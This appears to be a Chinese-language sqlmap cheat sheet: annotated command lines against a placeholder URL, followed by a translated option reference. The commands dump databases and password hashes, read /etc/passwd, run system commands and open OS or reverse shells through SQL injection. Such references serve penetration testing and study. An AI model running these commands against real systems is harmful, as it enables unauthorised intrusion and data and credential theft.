1. 程式人生 > >SQL注入命令

SQL注入命令

sqlmap -u “http://url/news?id=1″ –current-user #獲取當前使用者名稱稱

sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #獲取當前數 據庫名稱

sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名

sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列欄位


 sqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v
0

#獲取欄位內容
 

獲取資訊

sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定數 據庫型別
sqlmap -u “http://url/news?id=1″ –users #列資料庫使用者
sqlmap -u “http://url/news?id=1″ –dbs#列資料庫
sqlmap -u “http://url/news?id=1″ –passwords #資料庫使用者密碼
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定使用者 資料庫密碼
sqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”
–start 1 –stop 20

#列出指定欄位,列出20 條
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有資料庫所有表
sqlmap -u “http://url/news?id=1″ –privileges #檢視許可權
sqlmap -u “http://url/news?id=1″ –privileges -U root #檢視指定使用者許可權

sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是資料庫管理員

sqlmap -u “http://url/news?id=1″ –roles #列舉資料庫使用者角色
sqlmap -u “http://url/news?id=1″ –udf-inject

#匯入使用者自定義函式(獲取 系統許可權!)
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出當前庫所有表
sqlmap -u “http://url/news?id=1″ –union-cols #union 查詢表記錄
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入
sqlmap -u “http://url/news?id=1″-b #獲取banner資訊
sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
sqlmap -u “http://url/news?id=1″-v 1 -f #指紋判別資料庫型別
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定關鍵詞
sqlmap -u “http://url/news?id=1″ –sql-shell #執行指定sql命令
sqlmap -u “http://url/news?id=1″ –file /etc/passwd
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #執行系統命令
sqlmap -u “http://url/news?id=1″ –os-shell #系統互動shell

sqlmap -u “http://url/news?id=1″ –os-pwn #反彈shell
sqlmap -u “http://url/news?id=1″ –reg-read #讀取win系統登錄檔
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#儲存進度
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢復 已儲存進度
–version             顯示程式的版本號並退出
-h, –help            顯示此幫助訊息並退出
-v VERBOSE            詳細級別:0-6(預設為1)
Target(目標): 以下至少需要設定其中一個選項,設定目標URL。
-d DIRECT           直接連線到資料庫。
-u URL, –url=URL   目標URL。
-l LIST             從Burp 或WebScarab 代理的日誌中解析目標。
-r REQUESTFILE      從一個檔案中載入HTTP 請求。
-g GOOGLEDORK       處理Google dork 的結果作為目標URL。
-c CONFIGFILE       從INI 配置檔案中載入選項。
–data=DATA         通過POST 傳送的資料字串
–cookie=COOKIE     HTTP Cookie 頭
–cookie-urlencode  URL 編碼生成的cookie 注入
–drop-set-cookie   忽略響應的Set –Cookie 頭資訊
 
–user-agent=AGENT  指定  HTTP User –Agent 頭
–random-agent      使用隨機選定的HTTP User –Agent 頭
–referer=REFERER   指定  HTTP Referer 頭
–headers=HEADERS   換行分開,加入其他的HTTP 頭
–auth-type=ATYPE   HTTP 身份驗證型別(基本,摘要或NTLM)(Basic, Digest or NTLM)
–auth-cred=ACRED   HTTP 身份驗證憑據(使用者名稱:密碼)
–auth-cert=ACERT   HTTP 認證證書(key_file,cert_file)
–proxy=PROXY       使用HTTP 代理連線到目標URL
–proxy-cred=PCRED  HTTP 代理身份驗證憑據(使用者名稱:密碼)
–ignore-proxy      忽略系統預設的HTTP 代理
–delay=DELAY       在每個HTTP 請求之間的延遲時間,單位為秒
–timeout=TIMEOUT   等待連線超時的時間(預設為30 秒)
–retries=RETRIES   連線超時後重新連線的時間(預設3)
–scope=SCOPE       從所提供的代理日誌中過濾器目標的正則表示式
–safe-url=SAFURL   在測試過程中經常訪問的url 地址
–safe-freq=SAFREQ  兩次訪問之間測試請求,給出安全的URL
Optimization(優化): 這些選項可用於優化SqlMap 的效能。
-o                  開啟所有優化開關
–predict-output    預測常見的查詢輸出
–keep-alive        使用持久的HTTP(S)連線
–null-connection   從沒有實際的HTTP 響應體中檢索頁面長度
–threads=THREADS   最大的HTTP(S)請求併發量(預設為1)

列舉後端資料庫管理系統的資訊、表中的結構和資料

-b, –banner        檢索資料庫管理系統的標識
–current-user      檢索資料庫管理系統當前使用者
–current-db        檢索資料庫管理系統當前資料庫
–is-dba            檢測DBMS 當前使用者是否DBA
–users             列舉資料庫管理系統使用者
–passwords         列舉資料庫管理系統使用者密碼雜湊
–privileges        列舉資料庫管理系統使用者的許可權
–roles             列舉資料庫管理系統使用者的角色
–dbs               列舉資料庫管理系統資料庫
–tables            列舉的DBMS 資料庫中的表
–columns           列舉DBMS 資料庫表列
–dump              轉儲資料庫管理系統的資料庫中的表項
–dump-all          轉儲所有的DBMS 資料庫表中的條目
–search            搜尋列(S),表(S)和/或資料庫名稱(S)
-D DB               要進行列舉的資料庫名
-T TBL              要進行列舉的資料庫表
-C COL              要進行列舉的資料庫列
-U USER             用來進行列舉的資料庫使用者
–exclude-sysdbs    列舉表時排除系統資料庫
–start=LIMITSTART  第一個查詢輸出進入檢索
–stop=LIMITSTOP    最後查詢的輸出進入檢索
–first=FIRSTCHAR   第一個查詢輸出字的字元檢索
–last=LASTCHAR     最後查詢的輸出字字元檢索
–sql-query=QUERY   要執行的SQL 語句
–sql-shell         提示互動式SQL 的shell
Brute force(蠻力): 這些選項可以被用來執行蠻力檢查。
–common-tables     檢查存在共同表
–common-columns    檢查存在共同列
User-defined function injection(使用者自定義函式注入): 這些選項可以用來建立使用者自定義函式。
–udf-inject        注入使用者自定義函式
–shared-lib=SHLIB  共享庫的本地路徑
File system access(訪問檔案系統): 這些選項可以被用來訪問後端資料庫管理系統的底層檔案系統。
–file-read=RFILE   從後端的資料庫管理系統檔案系統讀取檔案
–file-write=WFILE  編輯後端的資料庫管理系統檔案系統上的本地檔案
–file-dest=DFILE   後端的資料庫管理系統寫入檔案的絕對路徑
Operating system access(作業系統訪問): 這些選項可以用於訪問後端資料庫管理系統的底層作業系統。
–os-cmd=OSCMD      執行作業系統命令
–os-shell          互動式的作業系統的shell
–os-pwn            獲取一個OOB shell,meterpreter 或VNC
–os-smbrelay       一鍵獲取一個OOB shell,meterpreter 或VNC
–os-bof            儲存過程緩衝區溢位利用
–priv-esc          資料庫程序使用者許可權提升
–msf-path=MSFPATH  Metasploit Framework 本地的安裝路徑
–tmp-path=TMPPATH  遠端臨時檔案目錄的絕對路徑